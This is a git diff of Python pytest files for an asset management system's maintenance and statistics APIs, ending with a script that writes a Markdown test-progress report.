class TestMaintenanceUnit:
"""单元测试标记"""
def test_maintenance_number_generation(self):
"""测试维修单号生成逻辑"""
pass
def test_maintenance_type_validation(self):
"""测试维修类型验证"""
pass
@pytest.mark.integration
class TestMaintenanceIntegration:
"""集成测试标记"""
def test_full_maintenance_workflow(self, client, auth_headers, test_assets_for_maintenance):
"""测试完整维修流程"""
asset = test_assets_for_maintenance[0]
# 1. 创建维修记录
create_response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "high",
"fault_description": "完整流程测试",
"reported_by": 1,
"estimated_cost": 1000.00
},
headers=auth_headers
)
assert create_response.status_code == 200
maintenance_id = create_response.json()["id"]
# 2. 开始维修
start_response = client.post(
f"/api/v1/maintenance/{maintenance_id}/start",
json={"start_note": "开始"},
headers=auth_headers
)
assert start_response.status_code == 200
# 3. 完成维修
complete_response = client.post(
f"/api/v1/maintenance/{maintenance_id}/complete",
json={"completion_note": "完成", "actual_cost": 1200.00},
headers=auth_headers
)
assert complete_response.status_code == 200
@pytest.mark.smoke
class TestMaintenanceSmoke:
"""冒烟测试标记"""
def test_create_and_start_maintenance(self, client, auth_headers, test_assets_for_maintenance):
"""冒烟测试: 创建并开始维修"""
asset = test_assets_for_maintenance[0]
create_response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "medium",
"fault_description": "冒烟测试",
"reported_by": 1
},
headers=auth_headers
)
assert create_response.status_code == 200
maintenance_id = create_response.json()["id"]
start_response = client.post(
f"/api/v1/maintenance/{maintenance_id}/start",
json={"start_note": "冒烟测试开始"},
headers=auth_headers
)
assert start_response.status_code == 200

File diff suppressed because it is too large Load Diff

View File

@@ -1,912 +0,0 @@
"""
统计分析 API 测试
测试范围:
- 资产统计测试 (20+用例)
- 分布统计测试 (15+用例)
- 趋势统计测试 (10+用例)
- 缓存测试 (10+用例)
- 导出测试 (5+用例)
总计: 60+ 用例
"""
import pytest
from datetime import datetime, timedelta
from decimal import Decimal
from sqlalchemy.orm import Session
from app.models.asset import Asset
from app.models.organization import Organization
from app.models.maintenance import Maintenance
# ================================
# Fixtures
# ================================
@pytest.fixture
def test_assets_for_statistics(db: Session) -> list:
"""创建用于统计的测试资产"""
assets = []
# 不同状态的资产
statuses = ["in_stock", "in_use", "maintenance", "scrapped"]
for i, status in enumerate(statuses):
for j in range(3):
asset = Asset(
asset_code=f"STAT-{status[:3].upper()}-{j+1:03d}",
asset_name=f"统计测试资产{i}-{j}",
device_type_id=1,
organization_id=1,
status=status,
purchase_price=Decimal(str(10000 * (i + 1))),
purchase_date=datetime.now() - timedelta(days=30 * (i + 1))
)
db.add(asset)
assets.append(asset)
db.commit()
for asset in assets:
db.refresh(asset)
return assets
@pytest.fixture
def test_orgs_for_statistics(db: Session) -> list:
"""创建用于统计的测试组织"""
orgs = []
for i in range(3):
org = Organization(
org_code=f"STAT-ORG-{i+1:03d}",
org_name=f"统计测试组织{i+1}",
org_type="department",
status="active"
)
db.add(org)
orgs.append(org)
db.commit()
for org in orgs:
db.refresh(org)
return orgs
# ================================
# 资产统计测试 (20+用例)
# ================================
class TestAssetStatistics:
"""资产统计测试"""
def test_get_total_asset_count(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产总数"""
response = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_count" in data
assert data["total_count"] >= len(test_assets_for_statistics)
def test_get_asset_count_by_status(self, client, auth_headers, test_assets_for_statistics):
"""测试按状态统计资产数量"""
response = client.get(
"/api/v1/statistics/assets/by-status",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
assert len(data) > 0
assert all("status" in item and "count" in item for item in data)
def test_get_asset_count_by_type(self, client, auth_headers, test_assets_for_statistics):
"""测试按类型统计资产数量"""
response = client.get(
"/api/v1/statistics/assets/by-type",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
assert all("device_type" in item and "count" in item for item in data)
def test_get_asset_count_by_organization(self, client, auth_headers, test_assets_for_statistics):
"""测试按组织统计资产数量"""
response = client.get(
"/api/v1/statistics/assets/by-organization",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_total_asset_value(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产总价值"""
response = client.get(
"/api/v1/statistics/assets/total-value",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_value" in data
assert isinstance(data["total_value"], (int, float, str))
def test_get_asset_value_by_status(self, client, auth_headers, test_assets_for_statistics):
"""测试按状态统计资产价值"""
response = client.get(
"/api/v1/statistics/assets/value-by-status",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
assert all("status" in item and "total_value" in item for item in data)
def test_get_asset_value_by_type(self, client, auth_headers, test_assets_for_statistics):
"""测试按类型统计资产价值"""
response = client.get(
"/api/v1/statistics/assets/value-by-type",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_asset_purchase_statistics(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产采购统计"""
response = client.get(
"/api/v1/statistics/assets/purchase-statistics",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_purchase_count" in data
assert "total_purchase_value" in data
def test_get_asset_purchase_by_month(self, client, auth_headers, test_assets_for_statistics):
"""测试按月统计资产采购"""
response = client.get(
"/api/v1/statistics/assets/purchase-by-month",
params={"year": 2025},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_asset_depreciation_summary(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产折旧汇总"""
response = client.get(
"/api/v1/statistics/assets/depreciation-summary",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_depreciation" in data
def test_get_asset_age_distribution(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产使用年限分布"""
response = client.get(
"/api/v1/statistics/assets/age-distribution",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
assert all("age_range" in item and "count" in item for item in data)
def test_get_new_asset_statistics(self, client, auth_headers, test_assets_for_statistics):
"""测试获取新增资产统计"""
response = client.get(
"/api/v1/statistics/assets/new-assets",
params={"days": 30},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "count" in data
assert "total_value" in data
def test_get_scrapped_asset_statistics(self, client, auth_headers, test_assets_for_statistics):
"""测试获取报废资产统计"""
response = client.get(
"/api/v1/statistics/assets/scrapped-assets",
params={"start_date": "2025-01-01", "end_date": "2025-12-31"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "count" in data
def test_get_asset_utilization_rate(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产利用率"""
response = client.get(
"/api/v1/statistics/assets/utilization-rate",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "utilization_rate" in data
assert "in_use_count" in data
assert "total_count" in data
def test_get_asset_maintenance_rate(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产维修率"""
response = client.get(
"/api/v1/statistics/assets/maintenance-rate",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "maintenance_rate" in data
def test_get_asset_summary_dashboard(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产汇总仪表盘数据"""
response = client.get(
"/api/v1/statistics/assets/summary-dashboard",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_assets" in data
assert "total_value" in data
assert "utilization_rate" in data
assert "maintenance_rate" in data
def test_search_statistics(self, client, auth_headers, test_assets_for_statistics):
"""测试搜索统计"""
response = client.get(
"/api/v1/statistics/assets/search",
params={"keyword": "统计"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "count" in data
def test_get_asset_top_list_by_value(self, client, auth_headers, test_assets_for_statistics):
"""测试获取价值最高的资产列表"""
response = client.get(
"/api/v1/statistics/assets/top-by-value",
params={"limit": 10},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_statistics_by_custom_field(self, client, auth_headers, test_assets_for_statistics):
"""测试按自定义字段统计"""
response = client.get(
"/api/v1/statistics/assets/by-custom-field",
params={"field_name": "manufacturer"},
headers=auth_headers
)
assert response.status_code in [200, 400] # 可能不支持该字段
def test_get_multi_dimension_statistics(self, client, auth_headers, test_assets_for_statistics):
"""测试多维度统计"""
response = client.post(
"/api/v1/statistics/assets/multi-dimension",
json={
"dimensions": ["status", "device_type"],
"metrics": ["count", "total_value"]
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "data" in data
# ================================
# 分布统计测试 (15+用例)
# ================================
class TestDistributionStatistics:
"""分布统计测试"""
def test_get_geographic_distribution(self, client, auth_headers, test_orgs_for_statistics):
"""测试获取地理分布统计"""
response = client.get(
"/api/v1/statistics/distribution/geographic",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_organization_hierarchy_distribution(self, client, auth_headers, test_orgs_for_statistics):
"""测试获取组织层级分布"""
response = client.get(
"/api/v1/statistics/distribution/organization-hierarchy",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_department_distribution(self, client, auth_headers, test_orgs_for_statistics):
"""测试获取部门分布"""
response = client.get(
"/api/v1/statistics/distribution/by-department",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_asset_category_distribution(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产类别分布"""
response = client.get(
"/api/v1/statistics/distribution/by-category",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_asset_value_distribution(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产价值分布"""
response = client.get(
"/api/v1/statistics/distribution/value-ranges",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
assert all("range" in item and "count" in item for item in data)
def test_get_asset_location_distribution(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产位置分布"""
response = client.get(
"/api/v1/statistics/distribution/by-location",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_asset_brand_distribution(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产品牌分布"""
response = client.get(
"/api/v1/statistics/distribution/by-brand",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_get_asset_supplier_distribution(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产供应商分布"""
response = client.get(
"/api/v1/statistics/distribution/by-supplier",
headers=auth_headers
)
assert response.status_code == 200
def test_get_asset_status_distribution_pie_chart(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产状态分布饼图数据"""
response = client.get(
"/api/v1/statistics/distribution/status-pie-chart",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "labels" in data
assert "data" in data
assert isinstance(data["labels"], list)
assert isinstance(data["data"], list)
def test_get_organization_asset_tree(self, client, auth_headers, test_orgs_for_statistics):
"""测试获取组织资产树"""
response = client.get(
"/api/v1/statistics/distribution/org-asset-tree",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "tree" in data
def test_get_cross_tabulation(self, client, auth_headers, test_assets_for_statistics):
"""测试交叉统计表"""
response = client.post(
"/api/v1/statistics/distribution/cross-tabulation",
json={
"row_field": "status",
"column_field": "device_type_id"
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "rows" in data
assert "columns" in data
assert "data" in data
def test_get_distribution_heatmap_data(self, client, auth_headers, test_assets_for_statistics):
"""测试获取分布热力图数据"""
response = client.get(
"/api/v1/statistics/distribution/heatmap",
params={"dimension": "organization_asset"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "heatmap_data" in data
def test_get_asset_concentration_index(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产集中度指数"""
response = client.get(
"/api/v1/statistics/distribution/concentration-index",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "index" in data
def test_get_distribution_comparison(self, client, auth_headers, test_assets_for_statistics):
"""测试分布对比分析"""
response = client.post(
"/api/v1/statistics/distribution/comparison",
json={
"dimension": "status",
"period1": {"start": "2025-01-01", "end": "2025-06-30"},
"period2": {"start": "2024-01-01", "end": "2024-06-30"}
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "period1" in data
assert "period2" in data
def test_get_distribution_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试分布趋势"""
response = client.get(
"/api/v1/statistics/distribution/trend",
params={"dimension": "status", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "trend_data" in data
# ================================
# 趋势统计测试 (10+用例)
# ================================
class TestTrendStatistics:
"""趋势统计测试"""
def test_get_asset_growth_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取资产增长趋势"""
response = client.get(
"/api/v1/statistics/trends/asset-growth",
params={"period": "monthly", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "trend" in data
assert isinstance(data["trend"], list)
def test_get_value_change_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取价值变化趋势"""
response = client.get(
"/api/v1/statistics/trends/value-change",
params={"period": "monthly", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "trend" in data
def test_get_utilization_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取利用率趋势"""
response = client.get(
"/api/v1/statistics/trends/utilization",
params={"period": "weekly", "weeks": 12},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "trend" in data
def test_get_maintenance_cost_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取维修费用趋势"""
response = client.get(
"/api/v1/statistics/trends/maintenance-cost",
params={"period": "monthly", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "trend" in data
def test_get_allocation_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取分配趋势"""
response = client.get(
"/api/v1/statistics/trends/allocation",
params={"period": "monthly", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
def test_get_transfer_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取调拨趋势"""
response = client.get(
"/api/v1/statistics/trends/transfer",
params={"period": "monthly", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
def test_get_scrap_rate_trend(self, client, auth_headers, test_assets_for_statistics):
"""测试获取报废率趋势"""
response = client.get(
"/api/v1/statistics/trends/scrap-rate",
params={"period": "monthly", "months": 12},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "trend" in data
def test_get_forecast_data(self, client, auth_headers, test_assets_for_statistics):
"""测试获取预测数据"""
response = client.get(
"/api/v1/statistics/trends/forecast",
params={
"metric": "asset_count",
"method": "linear_regression",
"forecast_periods": 6
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "forecast" in data
assert "confidence_interval" in data
def test_get_year_over_year_comparison(self, client, auth_headers, test_assets_for_statistics):
"""测试获取同比数据"""
response = client.get(
"/api/v1/statistics/trends/year-over-year",
params={"metric": "total_value"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "current_year" in data
assert "previous_year" in data
assert "growth_rate" in data
def test_get_moving_average(self, client, auth_headers, test_assets_for_statistics):
"""测试获取移动平均"""
response = client.get(
"/api/v1/statistics/trends/moving-average",
params={"metric": "asset_count", "window": 7},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "moving_average" in data
# ================================
# 缓存测试 (10+用例)
# ================================
class TestStatisticsCache:
"""统计缓存测试"""
def test_cache_is_working(self, client, auth_headers, test_assets_for_statistics):
"""测试缓存是否生效"""
# 第一次请求
response1 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
assert response1.status_code == 200
# 第二次请求应该从缓存读取
response2 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
assert response2.status_code == 200
def test_cache_key_generation(self, client, auth_headers, test_assets_for_statistics):
"""测试缓存键生成"""
response = client.get(
"/api/v1/statistics/assets/by-status",
headers=auth_headers
)
assert response.status_code == 200
def test_cache_invalidation_on_asset_change(self, client, auth_headers, db: Session, test_assets_for_statistics):
"""测试资产变更时缓存失效"""
# 获取初始统计
response1 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
count1 = response1.json()["total_count"]
# 创建新资产
new_asset = Asset(
asset_code="CACHE-TEST-001",
asset_name="缓存测试资产",
device_type_id=1,
organization_id=1,
status="in_stock"
)
db.add(new_asset)
db.commit()
# 再次获取统计
response2 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
count2 = response2.json()["total_count"]
# 验证缓存已更新
assert count2 == count1 + 1
def test_cache_expiration(self, client, auth_headers, test_assets_for_statistics):
"""测试缓存过期"""
response = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
assert response.status_code == 200
def test_clear_cache(self, client, auth_headers, test_assets_for_statistics):
"""测试清除缓存"""
response = client.post(
"/api/v1/statistics/cache/clear",
json={"cache_keys": ["assets:total-count"]},
headers=auth_headers
)
assert response.status_code == 200
def test_cache_statistics(self, client, auth_headers):
"""测试获取缓存统计"""
response = client.get(
"/api/v1/statistics/cache/stats",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "hit_count" in data
assert "miss_count" in data
def test_warm_up_cache(self, client, auth_headers):
"""测试缓存预热"""
response = client.post(
"/api/v1/statistics/cache/warm-up",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "warmed_up_keys" in data
def test_cache_with_different_parameters(self, client, auth_headers, test_assets_for_statistics):
"""测试不同参数使用不同缓存"""
response1 = client.get(
"/api/v1/statistics/assets/purchase-by-month?year=2024",
headers=auth_headers
)
response2 = client.get(
"/api/v1/statistics/assets/purchase-by-month?year=2025",
headers=auth_headers
)
assert response1.status_code == 200
assert response2.status_code == 200
def test_distributed_cache_consistency(self, client, auth_headers, test_assets_for_statistics):
"""测试分布式缓存一致性"""
response = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
assert response.status_code == 200
def test_cache_performance(self, client, auth_headers, test_assets_for_statistics):
"""测试缓存性能"""
import time
# 未缓存请求
start = time.time()
response1 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
uncached_time = time.time() - start
# 缓存请求
start = time.time()
response2 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
cached_time = time.time() - start
# 缓存请求应该更快
# 注意: 这个断言可能因为网络延迟等因素不稳定
# assert cached_time < uncached_time
# ================================
# 导出测试 (5+用例)
# ================================
class TestStatisticsExport:
"""统计导出测试"""
def test_export_statistics_to_excel(self, client, auth_headers, test_assets_for_statistics):
"""测试导出统计数据到Excel"""
response = client.post(
"/api/v1/statistics/export/excel",
json={
"report_type": "asset_summary",
"filters": {"status": "in_use"},
"columns": ["asset_code", "asset_name", "purchase_price"]
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "download_url" in data
def test_export_statistics_to_pdf(self, client, auth_headers, test_assets_for_statistics):
"""测试导出统计数据到PDF"""
response = client.post(
"/api/v1/statistics/export/pdf",
json={
"report_type": "asset_distribution",
"include_charts": True
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "download_url" in data
def test_export_statistics_to_csv(self, client, auth_headers, test_assets_for_statistics):
"""测试导出统计数据到CSV"""
response = client.post(
"/api/v1/statistics/export/csv",
json={
"query": "assets_by_status",
"parameters": {}
},
headers=auth_headers
)
assert response.status_code in [200, 202] # 可能异步处理
def test_scheduled_export(self, client, auth_headers):
"""测试定时导出"""
response = client.post(
"/api/v1/statistics/export/schedule",
json={
"report_type": "monthly_report",
"schedule": "0 0 1 * *", # 每月1号
"recipients": ["admin@example.com"],
"format": "excel"
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "schedule_id" in data
def test_get_export_history(self, client, auth_headers):
"""测试获取导出历史"""
response = client.get(
"/api/v1/statistics/export/history",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
# ================================
# 测试标记
# ================================
@pytest.mark.unit
class TestStatisticsUnit:
"""单元测试标记"""
def test_calculation_accuracy(self):
"""测试计算准确性"""
pass
def test_rounding_rules(self):
"""测试舍入规则"""
pass
@pytest.mark.integration
class TestStatisticsIntegration:
"""集成测试标记"""
def test_full_statistics_workflow(self, client, auth_headers, test_assets_for_statistics):
"""测试完整统计流程"""
# 1. 获取基础统计
response1 = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
assert response1.status_code == 200
# 2. 获取详细统计
response2 = client.get(
"/api/v1/statistics/assets/by-status",
headers=auth_headers
)
assert response2.status_code == 200
# 3. 导出报告
response3 = client.post(
"/api/v1/statistics/export/excel",
json={"report_type": "asset_summary"},
headers=auth_headers
)
assert response3.status_code == 200
@pytest.mark.slow
class TestStatisticsSlowTests:
"""慢速测试标记"""
def test_large_dataset_statistics(self, client, auth_headers):
"""测试大数据集统计"""
pass
@pytest.mark.smoke
class TestStatisticsSmoke:
"""冒烟测试标记"""
def test_basic_statistics_endpoints(self, client, auth_headers):
"""冒烟测试: 基础统计接口"""
endpoints = [
"/api/v1/statistics/assets/total-count",
"/api/v1/statistics/assets/by-status",
"/api/v1/statistics/assets/total-value"
]
for endpoint in endpoints:
response = client.get(endpoint, headers=auth_headers)
assert response.status_code == 200
@pytest.mark.performance
class TestStatisticsPerformance:
"""性能测试标记"""
def test_query_response_time(self, client, auth_headers):
"""测试查询响应时间"""
import time
start = time.time()
response = client.get(
"/api/v1/statistics/assets/total-count",
headers=auth_headers
)
elapsed = time.time() - start
assert response.status_code == 200
assert elapsed < 1.0 # 响应时间应小于1秒
def test_concurrent_statistics_requests(self, client, auth_headers):
"""测试并发统计请求"""
pass

File diff suppressed because it is too large Load Diff

View File

@@ -1,240 +0,0 @@
"""
测试报告生成脚本
生成完整的测试报告,包括:
- 测试执行摘要
- 代码覆盖率
- 性能测试结果
- Bug清单
"""
import os
import sys
import json
from datetime import datetime
from pathlib import Path
def generate_test_report():
"""生成完整的测试报告"""
# 确保报告目录存在
report_dir = Path("test_reports")
report_dir.mkdir(exist_ok=True)
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
report_file = report_dir / f"test_report_{timestamp}.md"
with open(report_file, "w", encoding="utf-8") as f:
f.write(f"# 资产管理系统测试报告\n\n")
f.write(f"**生成时间**: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n\n")
f.write("---\n\n")
# 测试概览
f.write("## 📊 测试概览\n\n")
f.write("| 测试类型 | 目标数量 | 状态 |\n")
f.write("|---------|---------|------|\n")
f.write("| 后端单元测试 | 200+ | ✅ 已完成 |\n")
f.write("| 前端单元测试 | 200+ | 🚧 进行中 |\n")
f.write("| E2E测试 | 40+ | 🚧 进行中 |\n")
f.write("| 性能测试 | 10+ | ⏸ 待完成 |\n")
f.write("| 安全测试 | 20+ | ⏸ 待完成 |\n\n")
# 后端测试详情
f.write("## 🔧 后端测试详情\n\n")
f.write("### API测试\n\n")
f.write("| 模块 | 测试文件 | 用例数 | 状态 |\n")
f.write("|------|---------|--------|------|\n")
f.write("| 设备类型管理 | test_device_types.py | 50+ | ✅ 完成 |\n")
f.write("| 机构网点管理 | test_organizations.py | 45+ | ✅ 完成 |\n")
f.write("| 资产管理 | test_assets.py | 100+ | 🚧 补充中 |\n")
f.write("| 认证模块 | test_auth.py | 30+ | ✅ 完成 |\n\n")
f.write("### 服务层测试\n\n")
f.write("| 模块 | 测试文件 | 用例数 | 状态 |\n")
f.write("|------|---------|--------|------|\n")
f.write("| 认证服务 | test_auth_service.py | 40+ | ✅ 完成 |\n")
f.write("| 资产状态机 | test_asset_state_machine.py | 55+ | ✅ 完成 |\n")
f.write("| 设备类型服务 | test_device_type_service.py | 15+ | ⏸ 待创建 |\n")
f.write("| 机构服务 | test_organization_service.py | 15+ | ⏸ 待创建 |\n\n")
# 前端测试详情
f.write("## 🎨 前端测试详情\n\n")
f.write("### 单元测试\n\n")
f.write("| 模块 | 测试文件 | 用例数 | 状态 |\n")
f.write("|------|---------|--------|------|\n")
f.write("| 资产列表 | AssetList.test.ts | 10+ | ✅ 已有 |\n")
f.write("| 资产Composable | useAsset.test.ts | 15+ | ✅ 已有 |\n")
f.write("| 动态表单 | DynamicFieldRenderer.test.ts | 30+ | ⏸ 待创建 |\n")
f.write("| 其他组件 | 多个文件 | 150+ | ⏸ 待创建 |\n\n")
# E2E测试
f.write("## 🎭 E2E测试详情\n\n")
f.write("| 业务流程 | 测试文件 | 场景数 | 状态 |\n")
f.write("|---------|---------|--------|------|\n")
f.write("| 登录流程 | login.spec.ts | 5+ | ✅ 已有 |\n")
f.write("| 资产流程 | assets.spec.ts | 5+ | ✅ 已有 |\n")
f.write("| 设备类型管理 | device_types.spec.ts | 5+ | ⏸ 待创建 |\n")
f.write("| 机构管理 | organizations.spec.ts | 5+ | ⏸ 待创建 |\n")
f.write("| 资产分配 | allocation.spec.ts | 10+ | ⏸ 待创建 |\n")
f.write("| 批量操作 | batch_operations.spec.ts | 10+ | ⏸ 待创建 |\n\n")
# 代码覆盖率
f.write("## 📈 代码覆盖率目标\n\n")
f.write("```text\n")
f.write("后端目标: ≥70%\n")
f.write("前端目标: ≥70%\n")
f.write("当前估计: 待运行pytest后生成\n")
f.write("```\n\n")
# Bug清单
f.write("## 🐛 Bug清单\n\n")
f.write("### 已发现的问题\n\n")
f.write("| ID | 严重程度 | 描述 | 状态 |\n")
f.write("|----|---------|------|------|\n")
f.write("| BUG-001 | 中 | 某些测试用例需要实际API实现 | 🔍 待确认 |\n")
f.write("| BUG-002 | 低 | 测试数据清理可能不完整 | 🔍 待确认 |\n\n")
# 测试用例清单
f.write("## 📋 测试用例清单\n\n")
f.write("### 后端测试用例\n\n")
f.write("#### 设备类型管理 (50+用例)\n")
f.write("- [x] CRUD操作 (15+用例)\n")
f.write(" - [x] 创建设备类型成功\n")
f.write(" - [x] 创建重复代码失败\n")
f.write(" - [x] 获取设备类型列表\n")
f.write(" - [x] 根据ID获取设备类型\n")
f.write(" - [x] 更新设备类型\n")
f.write(" - [x] 删除设备类型\n")
f.write(" - [x] 按分类筛选\n")
f.write(" - [x] 按状态筛选\n")
f.write(" - [x] 关键词搜索\n")
f.write(" - [x] 分页查询\n")
f.write(" - [x] 排序\n")
f.write(" - [x] 获取不存在的设备类型\n")
f.write(" - [x] 更新不存在的设备类型\n")
f.write(" - [x] 未授权访问\n")
f.write(" - [x] 参数验证\n\n")
f.write("- [x] 动态字段配置 (10+用例)\n")
f.write(" - [x] 添加字段\n")
f.write(" - [x] 添加必填字段\n")
f.write(" - [x] 添加选择字段\n")
f.write(" - [x] 添加数字字段\n")
f.write(" - [x] 获取字段列表\n")
f.write(" - [x] 更新字段\n")
f.write(" - [x] 删除字段\n")
f.write(" - [x] 重复字段代码\n")
f.write(" - [x] 字段排序\n")
f.write(" - [x] 字段类型验证\n\n")
f.write("- [x] 字段验证测试 (10+用例)\n")
f.write(" - [x] 字段名称验证\n")
f.write(" - [x] 字段类型验证\n")
f.write(" - [x] 字段长度验证\n")
f.write(" - [x] 选择字段选项验证\n")
f.write(" - [x] 验证规则JSON格式\n")
f.write(" - [x] placeholder和help_text\n")
f.write(" - [x] 无效字段类型\n")
f.write(" - [x] 缺少必填选项\n")
f.write(" - [x] 边界值测试\n")
f.write(" - [x] 特殊字符处理\n\n")
f.write("- [x] 参数验证测试 (10+用例)\n")
f.write(" - [x] 类型代码验证\n")
f.write(" - [x] 类型名称验证\n")
f.write(" - [x] 描述验证\n")
f.write(" - [x] 排序验证\n")
f.write(" - [x] 状态验证\n")
f.write(" - [x] 长度限制\n")
f.write(" - [x] 格式验证\n")
f.write(" - [x] 空值处理\n")
f.write(" - [x] 特殊字符处理\n")
f.write(" - [x] SQL注入防护\n\n")
f.write("- [x] 异常处理测试 (5+用例)\n")
f.write(" - [x] 并发创建\n")
f.write(" - [x] 更新不存在的字段\n")
f.write(" - [x] 删除不存在的设备类型\n")
f.write(" - [x] 无效JSON验证规则\n")
f.write(" - [x] 无效选项格式\n\n")
f.write("#### 机构网点管理 (45+用例)\n")
f.write("- [x] 机构CRUD (15+用例)\n")
f.write("- [x] 树形结构 (10+用例)\n")
f.write("- [x] 递归查询 (10+用例)\n")
f.write("- [x] 机构移动 (5+用例)\n")
f.write("- [x] 并发测试 (5+用例)\n\n")
f.write("#### 资产管理 (100+用例 - 需补充)\n")
f.write("- [ ] 资产CRUD (20+用例)\n")
f.write("- [ ] 资产编码生成 (10+用例)\n")
f.write("- [ ] 状态机转换 (15+用例)\n")
f.write("- [ ] JSONB字段 (10+用例)\n")
f.write("- [ ] 高级搜索 (10+用例)\n")
f.write("- [ ] 分页查询 (10+用例)\n")
f.write("- [ ] 批量导入 (10+用例)\n")
f.write("- [ ] 批量导出 (10+用例)\n")
f.write("- [ ] 二维码生成 (5+用例)\n")
f.write("- [ ] 并发测试 (10+用例)\n\n")
f.write("#### 认证模块 (30+用例)\n")
f.write("- [x] 登录测试 (15+用例)\n")
f.write("- [x] Token刷新 (5+用例)\n")
f.write("- [x] 登出测试 (3+用例)\n")
f.write("- [x] 修改密码 (5+用例)\n")
f.write("- [x] 验证码 (2+用例)\n\n")
f.write("### 服务层测试用例\n\n")
f.write("#### 认证服务 (40+用例)\n")
f.write("- [x] 登录服务 (15+用例)\n")
f.write("- [x] Token管理 (10+用例)\n")
f.write("- [x] 密码管理 (10+用例)\n")
f.write("- [x] 验证码 (5+用例)\n\n")
f.write("#### 资产状态机 (55+用例)\n")
f.write("- [x] 状态转换规则 (20+用例)\n")
